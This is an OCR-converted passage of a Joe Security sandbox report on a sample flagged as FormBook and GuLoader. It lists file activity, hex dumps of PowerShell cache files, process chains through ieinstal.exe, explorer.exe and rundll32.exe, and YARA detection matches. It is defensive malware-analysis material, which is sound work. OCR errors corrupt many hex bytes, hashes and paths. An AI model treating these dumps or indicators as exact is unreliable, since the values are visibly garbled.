74 2e 4e 65 74 5¢c 61 73
73 65 6d 62 6¢ 79 5¢ 47
41 43 5f 4d 53 49 4c 5¢
5379 73 74 65 6d 2e 4d
61 6e 61 67 65 6d 65 6e
74 2e 4175 74 6f 6d 61
74 69 6f 6e 5¢c 76 34 2e
30 5f 33 2e 30 2e 30 2e
30 5f 5f 33 31 62 66 33
38 35 36 61 64 33 36 34
6533355¢c5379 7374
65 6d 2e 4d 61 6e 61 67
65 6d 65 6e 74 2e 41 75
74 6f6d 61 74

50 53 4d 4f 44 55 4c 45
43 41 43 48 45 01 08 00
00 00 24 ea fd fd 7a fd 08
59 00 00 00 43 3a 5c 50
72 6f 67 72 61 6d 20 46
69 6¢ 65 73 20 28 78 38
36 29 5¢c 57 69 6e 64 6f
77 73 50 6f 77 65 72 53
68 65 6¢ 6¢ 5¢ 4d 6f 64
75 6¢ 65 73 5¢ 50 6f 77
65 72 53 68 65 6¢ 6C 47
65 74 5¢ 31 2e 30 2e 30
2e 31 5¢ 50 6f 77 65 72
53 68 65 6¢ 6¢ 47 65 74
2e 70 73 64 31 1d 00 00
00 10 00 00 00 55 6e 69
6e 73 74 61 6¢ 6¢ 2d 4d
6f 64 75 6¢ 65 02 00 00
00 04 00 00 00 69 6e 6d
6f 01 00 00 00 04 00 00
00 66 69 6d 6f 01 00 00
00 Oe 00 00 00 49 6e 73
74 61 6c 6¢ 2d 4d 6f 64
75 6¢ 65 02 00 00 00 12
00 00 00 4e 65 77 2d 53
63 7269 70 74 46 69 6¢C
65 49 6e 66 6f 02 00 00
00 Oe 00 00 00 50 75 62
6c 69 73 68 2d 4d 6f 64
75 6¢ 65 02 00 00 00 Oe
00 00 00 49 6e 73 74 61
6c 6¢ 2d 53 63

Ascii Completion

C:\Users\user\Desktop>  success or wait 1 6D039B71
"C:\Win
dows\Microsoft.NET\Fra
mework\v
4.0.30319\csc.exe"”
[t:library /utf8output
/R:"System.dll" /R
:"C:\Windows\Microsoft.N
et\ass
embly\GAC_MSIL\Syste
m.Manageme
nt.Automation\v4.0_3.0.0.
0_31
bf3856ad364e35\System.
Management.Automat

PSMODULECACHES$zY
C:\Program Files
(x86)\WindowsPowerShel
\Mod
ules\PowerShellGet\1.0.0
.1\Pow
erShellGet.psd1Uninstall-
Moduleinmofimolnstall-
ModuleNew-scr
iptFilelnfoPublish-
Modulelnstall-Sc

success or wait 1 6D039B71

Count Source Address

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

Offset

4096

Length Value

3907

4d 69 63 72 6f 73 6f 66
74 2e 50 6f 77 65 72 53
68 65 6¢ 6C 2e 55 74 69
6C 69 74 79 5c 4d 69 63
72 6f 73 6f 66 74 2e 50 6f
776572 53 68 65 6¢ 6C
2e 55 74 69 6¢ 69 74 79
2e 70 73 64 31 6d 00 00
00 0f 00 00 00 52 65 6d
6f 76 65 2d 56 61 72 69
61 62 6¢ 65 08 00 00 00
Oe 00 00 00 43 6f 6e 76
65 72 74 2d 53 74 72 69
6e 67 08 00 00 00 0d 00
00 00 54 72 61 63 65 2d
43 6f 6d 6d 61 6e 64 08
00 00 00 Ob 00 00 00 53
6f 72 74 2d 4f 62 6a 65
63 74 08 00 00 00 14 00
00 00 52 65 67 69 73 74
65 72 2d 4f 62 6a 65 63
74 45 76 65 6e 74 08 00
00 00 Oc 00 00 00 47 65
74 2d 52 75 6e 73 70 61
63 65 08 00 00 00 Oc 00
00 00 46 6f 72 6d 61 74
2d 54 61 62 6¢ 65 08 00
00 00 0d 00 00 00 57 61
69 74 2d 44 65 62 75 67
67 6572 08 00 00 00 11
00 00 00 47 65 74 2d 52

75 6e 73 70 61 63

File Read

File Path Offset
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\e4al unknown
€9189d2b01f018b953e46c80d120\mscorlib.ni.dll.aux
C:\Windows\SysWwOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\6 unknown
2fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\68e52d unknown
ed8d0e73920808d8880ed14efd\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\5a unknown
5dc2f9e9c66b74d361d490c1f4357b\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown
9f6405#\9f9243d8d725bdal845cde132efbe100\Microsoft. Managemen
t.Infrastructure.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Numeri unknown
€s\29620c919d222ee63cceel78145764a0\System.Numerics.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Manage unknown
ment\ccd32e22ed1b362cchd4b6fe2cda6dOb\System.Management.ni.d

Il.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown
rtupProfileData-NonInteractive
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown
uration\96b2b7229c43d2712ff1bf4906a723f6\System.Configuratio

n.ni.dll.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config  unknown
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Ascii Completion Count Source Address

Microsoft.PowerShell.Utili = success or wait 1 6D039B71

ty\M

icrosoft.PowerShell. Utility

.psd1lmRemove-

VariableConvert-Stri

ngTrace-CommandSort-

ObjectRegister-

ObjectEventGet-

RunspaceFormat-

TableWait-DebuggerGet-

Runspac
Length Completion Count Source Address
4095 success or wait 1 6E0D099B
8173 end of file 1 6E0D099B
4095 success or wait 1 6E0D099B
6135 success or wait 1 6E0D099B
176 success or wait 1 6E0262DE
4095 success or wait 1 6EODD97A
8173 end of file 1 6EODD97A
4095 success or wait 1 6EODD97A
900 success or wait 1 6E0262DE
620 success or wait 1 6E0262DE
4095 success or wait 1 6E0D099B
8173 end of file 1 6E0D099B
4095 success or wait 1 6E0D099B
8173 end of file 1 6E0D099B
748 success or wait 1 6E0262DE
748 success or wait 1 6E0262DE
300 success or wait 1 6E0262DE
764 success or wait 1 6E0262DE
4095 success or wait 1 6E0D099B
8171 end of file 1 6E0D099B
64 success or wait 1 6E0DB684
864 success or wait 1 6E0262DE
4096 success or wait 1 6D039B71
4096 end of file 1 6D039B71
4096 success or wait 1 6D039B71
4096 end of file 1 6D039B71

Symbol

WriteFile

Symbol

unknown
unknown
unknown
unknown

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

unknown
unknown
unknown
unknown

ReadFile

ReadFile

ReadFile

ReadFile

unknown
unknown

ReadFile

ReadFile

ReadFile
ReadFile
ReadFile

ReadFile
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File Path Offset Length Completion Count Source Address Symbol

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 success or wait 1 6D039B71 ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 492 end of file 1 6D039B71 ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.P unknown 4096 end of file 1 6D039B71 ReadFile
owerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Op
eration.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 success or wait 1 6D039B71 ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 734 end of file 1 6D039B71 ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 end of file 1 6D039B71 ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 2 6D039B71 ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6D039B71 ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 2 6D039B71 ReadFile
O\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6D039B71 ReadFile
0\Pester.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 success or wait 7 6D039B71 ReadFile
0\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 682 end of file 1 6D039B71 ReadFile
0\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4. unknown 4096 end of file 1 6D039B71 ReadFile
0\Pester.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6D039B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6D039B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6D039B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 1 6D039B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 289 end of file 1 6D039B71 ReadFile
et\1.0.0.1\PowerShellGet.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 success or wait 143 6D039B71 ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 993 end of file 1 6D039B71 ReadFile
et\1.0.0.1\PSModule.psm1

C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellG unknown 4096 end of file 1 6D039B71 ReadFile
et\1.0.0.1\PSModule.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6D039B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 599 end of file 1 6D039B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6D039B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6D039B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 599 end of file 1 6D039B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 8 6D039B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 128 end of file 1 6D039B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6D039B71 ReadFile
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dll unknown 4096 success or wait 1 6D039B71 ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6D039B71 ReadFile

.PowerShell.Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 490 end of file 1 6D039B71 ReadFile
.PowerShell.Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6D039B71 ReadFile
.PowerShell.Management\Microsoft.PowerShell. Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6D039B71 ReadFile
.PowerShell.Management\Microsoft.PowerShell. Management.psd1
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File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft

Offset

.PowerShell.Management\Microsoft.PowerShell. Management.psd1

Analysis Process: conhost.exe PID: 840, Parent PID: 1740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

5

17:41:39

08/08/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7e6000000

875008 bytes
81CA40085FC75BABD2C91D18AAIFFA68

true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Offset

Analysis Process: csc.exe PID: 8060, Parent PID: 1740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

File Created

File Path

c:\Users\user\AppData\Local\Te
mp\tmhd51lu\CSCDE243CA280D4B5C

9E282790C554DB9.TMP

File Written

File Path

8
17:42:11
08/08/2022

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

true

unknown

Length

490

Length

Completion

end of file

Completion

Count Source Address

1

6D039B71

Count Source Address

Symbol

ReadFile

Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline

0xc0000

2141552 bytes
EB80BB1CA9BIC7F516FF69AFCFD75B7D
true

true

.Net C# or VB.NET

moderate

Access

read attributes |
synchronize |
generic write

Offset Length Value

Copyright Joe Security LLC 2022

Attributes

device

Options

synchronous io
non alert | non
directory file

Completion

success or wait

Completion

Count Source Address

1 28D9E8

Count Source Address

Symbol

CreateFilew

Symbol
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File Path

C:\Users\user\AppData\Local\Te 0 652
mp\tmhd51Iu\CSCDE243CA280D4B5
C9E282790C554DB9.TMP

File Read
File Path

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.0.cs

Offset Length Value Ascii

00 00 00 00 20 00 00 00
fd fd 00 00 fd fd 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 000000 4c  Inf
02 00 00 3c 00 00 00 fd

fd 10 00 fd fd 01 00 00 00

00 00 30 00 00 00 00 00

00 00 00 00 00 00 4c 02

34 00 00 00 56 00 53 00

5f 00 56 00 45 00 52 00

53 00 49 00 4f 00 4e 00

5f 00 49 00 4e 00 46 00

4f 00 00 00 00 00 fd 04 fd

fd 00 00 01 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 3f 00 00

00 00 00 00 00 04 00 00

00 02 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 44 00 00 00 01 00 56

00 61 00 72 00 46 00 69

00 6¢ 00 65 00 49 00 6e

00 66 00 6f 00 00 00 00

00 24 00 04 00 00 00 54

00 72 00 61 00 6e 00 73

00 6¢ 00 61 00 74 00 69

00 6f 00 6e 00 00 00 00

00 00 00 fd 04 fd 01 00

00 01 00 53 00 74 00 72

00 69 00 6e 00 67 00 46

00 69 00 6¢ 00 65 00 49

00 6e 00 66

Offset

unknown

unknown

Analysis Process: cvtres.exe PID: 7644, Parent PID: 8060

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

9

17:42:12

08/08/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

true

L<OL4VS_VERSION_IN
FO?DVarFile
Info$TranslationStringFile

Length
371
618

Completion

success or wait

Completion

success or wait

success or wait

Count Source Address

1 15773E

Count Source Address

1 FD62D
1 FD62D

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 “/OUT:C:\Users\user\AppData\Loca\Temp\RE

SBA75.tmp" “c:\Users\user\AppData\Local\Temp\tmhd51Iu\CSCDE243CA280D4B5C9E282790C554DB9. TMP"

0x3d0000

46832 bytes
70D838A7DC5B359C3F938A71FAD77DB0O
true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

File Path

Access Attributes

Offset

Offset

Analysis Process: ieinstal.exe PID: 7460, Parent PID: 1740

Copyright Joe Security LLC 2022

Length Value Ascii

Options

Length

Completion

Completion

Completion

Count Source Address

Count Source Address

Count Source Address

Symbol

Symbol

Symbol
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General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

10

17:42:27

08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe
false

C:\Program Files (x86)\internet explorenieinstal.exe
0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55

true

true

C, C++ or other language

moderate

Analysis Process: ieinstal.exe PID: 7980, Parent PID: 1740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

11

17:42:28

08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe
false

C:\Program Files (x86)\internet explorenieinstal.exe
0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55

true

true

C, C++ or other language

moderate

Analysis Process: ieinstal.exe PID: 7972, Parent PID: 1740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

12

17:42:28

08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe
false

C:\Program Files (x86)\internet explorenieinstal.exe
0x7ff7e6000000

480256 bytes
7871873BABCEA94FBA13900B561C7C55

true

true

C, C++ or other language

moderate

Analysis Process: ieinstal.exe PID: 2360, Parent PID: 1740

General
Target ID:
Start time:
Start date:

Path:

13
17:42:28
08/08/2022

C:\Program Files (x86)\Internet Exploren\ieinstal.exe
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Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

false

C:\Program Files (x86)\internet explorenieinstal.exe
0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55

true

true

C, C++ or other language

Analysis Process: ieinstal.exe PID: 5924, Parent PID: 1740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

14

17:42:29

08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe
false

C:\Program Files (x86)\internet explorenieinstal.exe
0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55

true

true

C, C++ or other language

Analysis Process: ieinstal.exe PID: 6028, Parent PID: 1740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

15

17:42:29

08/08/2022

C:\Program Files (x86)\Internet Exploren\ieinstal.exe
false

C:\Program Files (x86)\internet explorenieinstal.exe
0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55

true

true

C, C++ or other language

Analysis Process: ieinstal.exe PID: 6428, Parent PID: 1740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

16

17:42:29

08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe
false

C:\Program Files (x86)\internet explorenieinstal.exe
0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55

true

true

Copyright Joe Security LLC 2022

Page 82 of 90



Programmed in:

C, C++ or other language

Analysis Process: ieinstal.exe PID: 5992, Parent PID: 1740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

17
17:42:30
08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

false

C:\Program Files (x86)\internet explorenieinstal.exe

0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55
true

true

C, C++ or other language

Analysis Process: ieinstal.exe PID: 5520, Parent PID: 1740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

18
17:42:30
08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

false

C:\Program Files (x86)\internet explorenieinstal.exe

0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55
true

true

C, C++ or other language

Analysis Process: ieinstal.exe PID: 4152, Parent PID: 1740

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

19
17:42:30
08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe

false

C:\Program Files (x86)\internet explorenieinstal.exe

0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55
true

true

C, C++ or other language

Analysis Process: ieinstal.exe PID: 5388, Parent PID: 1740

General

Target ID:

Start time:

20
17:42:30
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Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

08/08/2022

C:\Program Files (x86)\Internet Explorer\ieinstal.exe
false

C:\Program Files (x86)\internet explorenieinstal.exe
0x410000

480256 bytes
7871873BABCEA94FBA13900B561C7C55

true

true

C, C++ or other language

Analysis Process: ielowutil.exe PID: 8008, Parent PID: 1740

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

File Activities

21

17:42:31

08/08/2022

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
true

C:\Program Files (x86)\internet explorenielowutil.exe

0xb70000

221696 bytes

650FE7460630188008BF8C8153526CEB

true

true

C, C++ or other language

°

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, Author:
Rule: Formbook, Description: detect Formbook in memory, Source:
00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, Author:
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:
00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, Author:
dot com

Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:
00000015.00000002.3485649482.0000000002E40000.00000040.10000000.00040000.00000000.sdmp, Author:
Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:

00000015.00000000.2784654077.0000000002EB0000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, Author:

Rule: Formbook, Description: detect Formbook in memory, Source:

00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, Author:

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, Author:

dot com
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:

00000015.00000002.3509051693.000000001EB00000.00000040.10000000.00040000.00000000.sdmp, Author:

Joe Security
JPCERT/CC Incident Response Group

Felix Bilstein - yara-signator at cocacoding

unknown

Joe Security

Joe Security

JPCERT/CC Incident Response Group

Felix Bilstein - yara-signator at cocacoding

unknown

File Path Access Attributes Options Completion Count Source Address Symbol
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1696752 success or wait 1 41A407 NtReadFile
Analysis Process: explorer.exe PID: 4868, Parent PID: 8008
General
Target ID: 22
Start time: 17:42:42
Start date: 08/08/2022
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
Commandline: C:\Windows\Explorer.EXE
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Imagebase:

0x7ff6d4bb0000

File size: 4849904 bytes

MDS5 hash: 5EA66FF5AE5612F921BCIDA23BACI5F7
Has elevated privileges: false

Has administrator false

privileges:
Programmed in:

Yara matches:

File Activities

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, Author:

Rule: Formbook, Description: detect Formbook in memory, Source:

00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, Author:

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, Author:

dot com
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:

00000016.00000000.3081887285.000000000B761000.00000040.00000001.00040000.00000000.sdmp, Author:

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, Author:

Rule: Formbook, Description: detect Formbook in memory, Source:

00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, Author:

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, Author:

dot com
Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:

00000016.00000000.3203308089.000000000B761000.00000040.00000001.00040000.00000000.sdmp, Author:

Joe Security
JPCERT/CC Incident Response Group

Felix Bilstein - yara-signator at cocacoding

unknown
Joe Security
JPCERT/CC Incident Response Group

Felix Bilstein - yara-signator at cocacoding

unknown

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol
Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Key Path Name Type Data Completion Count Source Address Symbol

. Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 7768, Parent PID: 8008

General

Target ID: 23

Start time: 17:43:40

Start date: 08/08/2022

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

true

Commandline: C:\Windows\SysWOW64\rundll32.exe
Imagebase: 0xc30000

File size: 61440 bytes

MD5 hash: 889B99C52A60DD49227C5E485A016679
Has elevated privileges: true

Has administrator true

privileges:

Programmed in:

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, Author:

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, Author:

dot com
e Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source:

00000017.00000002.6883034007.0000000003870000.00000004.00000800.00020000.00000000.sdmp, Author:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, Author:

e Rule: Formbook, Description: detect Formbook in memory, Source:

00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, Author:

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source:

00000017.00000002.6860784078.00000000032F0000.00000040.80000000.00040000.00000000.sdmp, Author:

dot com
